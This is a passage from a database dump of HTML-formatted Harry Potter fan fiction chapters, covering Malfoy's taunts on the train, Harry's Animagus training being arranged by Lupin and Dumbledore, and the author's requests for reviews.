Ron shouted. &#8220;Well Weasel, \ninsulting a Prefect, I see, I can deduct points from your house for that.&#8221; \nMalfoy sneered. &#8220;You are not the only one Prefect here. I and Harry are also \nPrefects.&#8221; Hermione said, calmly. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;So, Potter has been given the \nfavor again because of his fame. And poor weasel, being ignored again. tch. tch. \ntch. I am very sorry for you weasel.&#8221; Malfoy said, with a fake sadness in his \nvoice.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;I am NOT being chosen because \nof my fame, you bastard.&#8221; Harry shouted angrily and looked at Ron for support \nbut he remained silent. Harry felt something broke in his heart. He knew what it \nwas&#8230;&#8230;His trust on Ron. Hermione was also staring wide-eyed at Ron.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;See, even Weasel agrees with \nme. Huh, Weasel?&#8221; Malfoy had the biggest of smiles on his pale face. It looked \nlike he was having the time of his life. &#8220;Sod off, Malfoy.&#8221; Ron said quietly. \n&#8220;Oh. Weasel said me to sod off. What do I do?&#8221; He said in a trembling voice. \nCrabbe and Goyle laughed. They were enjoying it very much, too. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">As he opened his mouth to say \nsomething rude, the door to the compartment opened, and in came a person with \ntired eyes and a sad smile playing on his lips. &#8220;Professor Lupin!&#8221; Harry cried. \nThe man was indeed Professor Lupin who had teached them Defense Against the Dark \nArts in their third year at Hogwarts.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Malfoy sneered at the Professor, \nand then he turned to face Harry. &#8220;See you in class.&#8221; He said and disappeared \nbehind the compartment door. Professor Lupin turned towards them and said with a \nhint of urgency in his voice. &#8220;Hi! Hermione, Ron. Harry I want to have a very \nimportant talk with you, now!&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">A.N. Here&#8217;s the second chapter. \nI know it is boring right now but it will get better in the later chapters. \nPlease Review!</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n\n\n\n\n'),
	(193, 3, '\n\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&#8220;Harry \nPotter and the Knowledge of Ancient Magic.&#8221;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal"><b><i><u>Summary:</u></i> <i>The-boy-who-lived is being \nsubjected to various changes that would one day change the fate of Wizarding \nWorld. However, petty teenager conflicts can harm the greatest of minds and \nHarry finds out that in the age of Mass Freedom, his best friend is still very \nconservative. My version of Harry&#8217;s 5th year at Hogwarts. Animagus \ntraining, New powers, and a bit of H/Hr.&nbsp; &nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b>&nbsp;</b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">Professor Lupin turned towards \nthem and said with a hint of urgency in his voice. &#8220;Hi! Hermione, Ron. Harry I \nwant to have a very important talk with you, now!&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Professor Lupin led Harry out of \nthe compartment. When they were at a reasonable distance from the compartment \nHermione and Ron were in, Professor said. &#8220;Harry, Snuffles has told me what you \nwant to do. Are you sure about this? It is very difficult for one to become an \nAnimagus. And it isn&#8217;t a matter of seconds to become one; it takes a lot of \ntime. I am sure you have seen Sirius transforming, but it isn&#8217;t as easy as it \nlooks, in fact it is not easy at all. So, I wanted to tell you all of these \ndangers and ask your will, if you still want to be an Animagus tell me and if \nyou don&#8217;t, I will make sure that this doesn&#8217;t reach Headmaster Dumbledore. Tell \nme your will one last time.&#8221; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Yes, I want to become an \nAnimagus, Professor. I will not be afraid of any difficulties in the way. I want \nto be prepared for <i>him</i> when he comes.&#8221; Harry said with grit in his voice. \n&#8220;Very well then. You can join your friends now.&#8221; His Professor smiled at him. \nHarry turned to go. &#8220;And Harry&#8221; Harry turned halfway. &#8220;I am very proud of you.&#8221; \nLupin said, still smiling.</p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;</p>\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Ron and Hermione were fighting \nover something when Harry had returned. However, after seeing him, they stopped \ntheir fight. There was less time left to Hogwarts so they quickly slipped into \ntheir robes. Soon, Hogwarts Express made a stop at Hogsmeade Station. The trio \nfound its way out of the train. &#8220;First &#8216;ears &#8216;ere. First &#8216;ears &#8216;ere.&#8221; They heard \nHagrid&#8217;s voice. Harry waved at Hagrid who beaming, waved back. The trio secured \na carriage for themselves and settled in. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">When they reached the Entrance \nHall after the journey of carriages, many memories flooded into Harry&#8217;s mind. \nSome were cheering, some were painful. He still remembered his sorting. In which \nhe was given two choices by the Sorting Hat, Gryffindor and Slytherin. He had \nchosen Gryffindor, because of the bad reputation Slytherins possessed. Harry \nknew afterwards that why the hat wanted to put him in Slytherin. It was because \nof his ability to speak Parseltongue. This ability had come in very handy in \ntheir second year to open the chamber of secrets. The memory of the chamber was \nitself a torture for Harry, because there he had faced Voldemort in his real, \nsolid body for the first time.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">They all went inside the Great \nHall and settled into their seats. Harry sat between Ron and Hermione. Ron kept \nmuttering about how hungry he was. Harry was getting annoyed of his undying love \nof food, because he kept muttering about his hunger. Harry watched as first \nyears appeared with Professor McGonagall at the end of the Great Hall. The \nsorting ceremony begun. The Hat sang its song as usual. And after the thundering \napplause the Hat received, Professor McGonagall said. &#8220;When I call your name, \ncome forth, place the sorting hat on your head and you will be sorted into your \nhouse.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry soon found the sorting \nceremony boring. Probably, because there were very few Gryffindors. His eyes \nwavered towards the Teacher&#8217;s Table. He saw Hagrid talking animatedly with \nProfessor Flitwick and Professor Lupin watching the sorting with much \nenthusiasm. He was teaching DADA this year as he had told him. Harry watched \nDumbledore as he was talking to a &#8230;.......a &#8216;large black dog&#8217;. Suddenly, the \nHeadmaster stood up and followed the dog to a doorway. Harry assumed that Sirius \nwanted to talk to Professor Dumbledore in his human form, alone. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">During the whole sorting, Harry \nkept glancing at the same doorway, Sirius and Headmaster have entered. Just as \nsorting ceremony was about to finish, Dumbledore came out, Sirius was not with \nhim. He scanned the entire Great Hall, and then his eyes fixed directly on \nHarry&#8217;s face. Harry could see the twinkle in those blue eyes more than ever. \nProfessor Dumbledore smiled at him and nodded. Then it all dawned on Harry. \nSirius had just told Dumbledore about his request to learn to become an \nAnimagus. And by the looks of Headmaster, he didn&#8217;t mind at all. Harry shouted a \n&#8216;YES&#8217; under his breath. Hopefully, no one noticed. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Now, that \nall the first years were sorted, Professor Dumbledore stood up. &#8220;Welcome, you \nare now about to start a new year at Hogwarts. This year will be different from \nprevious all. Because, I assume, you all know that Voldemort has returned.&#8221; \nStudents gasped at the name. &#8220;Now, you all have to be more cautious and more \nprepared. For the later, we have scheduled Dueling classes for all fourth years \nand up. However, the others will also be appreciated if the want to take part. \nThe classes will be teached by the &#8216;real&#8217; Professor Moody. He can&#8217;t come here \ntoday because of some of the problems at the Ministry. I advice you to take \nthese classes seriously and be prepared.&#8221; He said the last sentence by looking \ntowards Harry. Harry nodded reassuringly. &#8220;<i>And,</i> as the name suggests, \nForbidden Forest is <i>strictly</i> forbidden to all of you, and I <i>mean </i>\nall of you.&#8221; He looked firstly in the direction of Fred and George Weasley and \nthen at the trio. &#8220;Someone caught wondering there would be immediately expelled. \nNow, DIG IN.&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">As soon as \nthe food appeared, Ron hungrily started filling his plate up. Harry shook his \nhead, amused, and started eating for himself. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry kept \nglancing at Hermione throughout the dinner. She was looking different somehow, \nlike he has seen her for the very first time. Harry dismissed the thought from \nhis mind as he knew about Ron&#8217;s feelings for her. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Just then \nHarry felt a hand on his shoulder. He turned and saw Professor McGonagall \nsmiling proudly at him. He guessed by her expressions that she knew about his \nrequest. &#8216;O.K, now she knows as well.&#8217; Harry groaned in his mind.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;Yes, \nProfessor?&#8221; Harry asked. Professor McGonagall bended towards him and whispered \nin his ear. &#8220;Professor Dumbledore wants to see you after you lead the first \nyears in their dorms. The password to the office is&#8230;..Vo&#8230;.Voldemort.&#8221; Professor \nMcGonagall&#8217;s voice trembled while saying the Dark Lord&#8217;s name. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry \nlaughed in mind at Dumbledore&#8217;s choice of password. At one hand, this was a very \ndifficult password to guess and a very reliable one, and on the other hand, \nDumbledore was forcing the teachers to say the Dark Lord&#8217;s name.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry nodded \nat her and Professor McGonagall headed back to the teacher&#8217;s table. As soon as \nshe sat down besides Dumbledore, the Headmaster stood up and announced. \n&#8220;Prefects, lead the first years back to the dormitories.&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry \nglanced towards Hermione. She was telling the password to the students. Harry \nstood up. &#8220;First year boys, follow me.&#8221; There were only five first year \nGryffindor boys this year.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">He leaded \nthem, up to Gryffindor Tower, through the portrait of the fat lady, and finally \ninto the first year boys dormitories. He turned to face the first years. They \nwere staring around with awe written on their faces. &#8220;This is where you will be \nliving for your stay at Hogwarts. Any questions?&#8221; Harry asked. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">A boy \nlooking awfully like Neville raised his hand. &#8220;Yes?&#8221; Harry asked. He swallowed \nand said in a trembling voice. &#8220;Are you re&#8230;really Harry Potter, <b><i>the </i>\n</b>Harry Potter?&#8221; Harry nodded. Now, all the boys were staring at him, rather \nrespectfully. &#8220;Wow. Can you show us your&#8230;..scar?&#8221; The same boy said. &#8220;No.&#8221; Harry \nsaid strictly. The boy was disappointed but was still over-joyed that he got to \nmeet <i>the</i> Harry Potter. &#8220;Now, all of you, settle into your beds.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Hermione \nleft the first year girls in their dorm and get down to the common room. She sat \ndown on a sofa and waited for Harry to come down. Ever since she has seen Harry \non the platform 9 &#190;, she was beginning to \nthink of him as more-than-a-friend. &#8216;He is just my friend.&#8217; She scolded herself. \nYet again, the thought kept sneaking in her mind. She was snapped out of her \nthoughts by the sound of footsteps coming down from the boy&#8217;s dorm. It was \nHarry. He sat down across from her. &#8220;What took you so long, Harry?&#8221; She asked, \nshaking all other thoughts from her mind. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;Well, you \nknow all that fan club and &#8216;Are-you-really-Harry Potter?&#8217; stuff.&#8221; Harry groaned. \nHermione chucked. She very well knew of Harry&#8217;s annoyance from being the center \nof attention. &#8220;What about Professor McGonagall. What she said to you?&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;No thing \nimportant.&#8221; He said. He didn&#8217;t wanted to tell anyone about it until he learned \nit well. Then he will give them a <i>big</i> surprise. Harry remembered that he \nhad to go meet Pro And that reminds me that I am supposed to meet Professor \nDumbledore&#8230;&#8230;..in about <b><i>ten minutes</i></b>. I better hurry up.&#8221; Harry \nanswered while rushing towards the portrait hole. </p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry turned \nthe corner of the corridor, to come in front with the gargoyle that was \nprotecting Headmaster&#8217;s Office. If it would have been any other time, he would \nbe standing in front of the gargoyle, trying to guess the correct password. But \nnow it was different, he was told the password by Professor McGonagall. So, \ninstead of playing the guessing game, he said the password and didn&#8217;t even \nflinch at the Dark Lord&#8217;s name. He had faced him far too many times to be afraid \nof saying his name. The gargoyle jumped out of the way. Harry climbed the spiral \nstaircase and knocked at Headmaster&#8217;s office softly. &#8220;Come in, Harry.&#8221; Came the \nvoice of the wise and kind Professor from inside the office. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry opened \nthe door and stepped into the office. It was same as last year, when he had last \nvisited it. He sat down on the edge of the chair to which Professor had \nmotioned. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;You wanted \nto talk to me, Professor?&#8221; Harry asked. &#8220;Ah. Yes Harry. I have been told by \nSirius that you want to learn to become an Animagus. Is that true?&#8221; He \nquestioned while staring at Harry intently. Harry nodded. &#8220;Very well, Harry. I \nappreciate your efforts. You need to be prepared for Voldemort when he comes for \nyou. The process of learning to become Animagus is very difficult. But I believe \nthat you will learn it very quickly.&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;Excuse me \nSir. But why will I learn it quickly if it is so difficult.&#8221; Harry said, \nconfused. Dumbledore smiled and said. &#8220;Harry, I believe that you are special and \nvery, very powerful in magic. I am speculating your success confidently by \njudging how quickly you have learned the Patronus Spell only in your third year, \nand in only a month, while only a few Aurors and high-ranked Death Eaters have \nachieve it so far. And even they took whole two and a half month&#8217;s practice to \nperform it properly.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry sat \nthere astounded. Sure he had found the Patronus Spell difficult at first but \nthen it had gradually become easier. He had never, in his dreams, thought that \nit was <i>that </i>powerful and difficult that even Aurors found it difficult to \nperform. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Dumbledore \nsmiled at Harry&#8217;s astounded face. He had expected that kind of reaction from \nhim. When Lupin had told him about Harry&#8217;s progress and success at the spell, he \ncould hardly believe his ears. No one was found to do that spell so perfectly \nand so easily, except the most powerful and renown wizards in History. But then, \neven they have done it at a mature age, not at such a younger age. He had known \nfrom then and there that this boy was a very powerful wizard and perhaps, a very \nuseful and dangerous weapon to use against the Dark Lord. He had also grown to \nlike the boy as an alternative grand-son, which he never had. He let out a long \nsigh.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;He was so \nbusy in saving the world, first from Ginderwald and then from Voldemort, that he \nnever even thought about it. After Harry had defeated Voldemort on that \nHalloween night of 1981, he then had nothing to save as the world was free now, \n&#8216;thanks to the boy-who-lived&#8217; as people called it. Only then he felt the need of \na family that he had not. The Hogwarts staff was <i>like</i> his family, but not \nhis own family, where he would have had his siblings and wife. He knew that \nHarry had also had none. That was also why he felt a sort of bond between \nhimself and the young boy.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry was \nstill lost in his thoughts, when Dumbledore coughed to get his attention. Harry \nraised his head to look at him. &#8220;Harry, I have arranged the Animagi classes for \nyou. They will be after dinner every Tuesday, Friday and Monday, 11&#8217;o&#8217; clock to \nbe exact, in the Great Hall with Professor&#8230;&#8221; He smiled at Harry&#8217;s eager face. \n&#8220;&#8230;&#8230;Lupin.&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Harry&#8217;s \nheart burst with joy ness. Professor Lupin was his favorite teacher. He felt \nvery comfortable with him, knowing that he was best friend of his parents.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&#8220;You may go \nnow, Harry.&#8221; Professor Dumbledore said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;Harry \nwished him goodnight and headed back to the Gryffindor Tower. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">Later that \nnight, when he retired for night, he felt more satisfied than he had since \nVoldemort&#8217;s return, for now, he knew that he will be training to protect himself \nas well as others from Voldemort. With this satisfaction in his mind he drifted \nof to sleep.</p>\n<p class="MsoNormal">&nbsp;</p>\n\n  <p class="MsoNormal" style="border: medium none; padding: 0in">&nbsp;\n</p><p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">A.N: Here&#8217;s the third one. I hope you like it. And please\n<b><i>Review</i></b>. I really appreciate that. Ok let&#8217;s make a deal. The more \nreviews I will get, the more speedy I become. (Author laughs evilly). It all \ndepends on you guys now.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt; margin-left: 6.0pt">\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n\n\n\n\n'),
	(193, 4, '\n\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; </p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&#8220;Harry \nPotter and the Knowledge of Ancient Magic.&#8221;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;&nbsp; <u>Summary:</u></i> <i>The-boy-who-lived is being \nsubjected to various changes that would one day change \nthe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 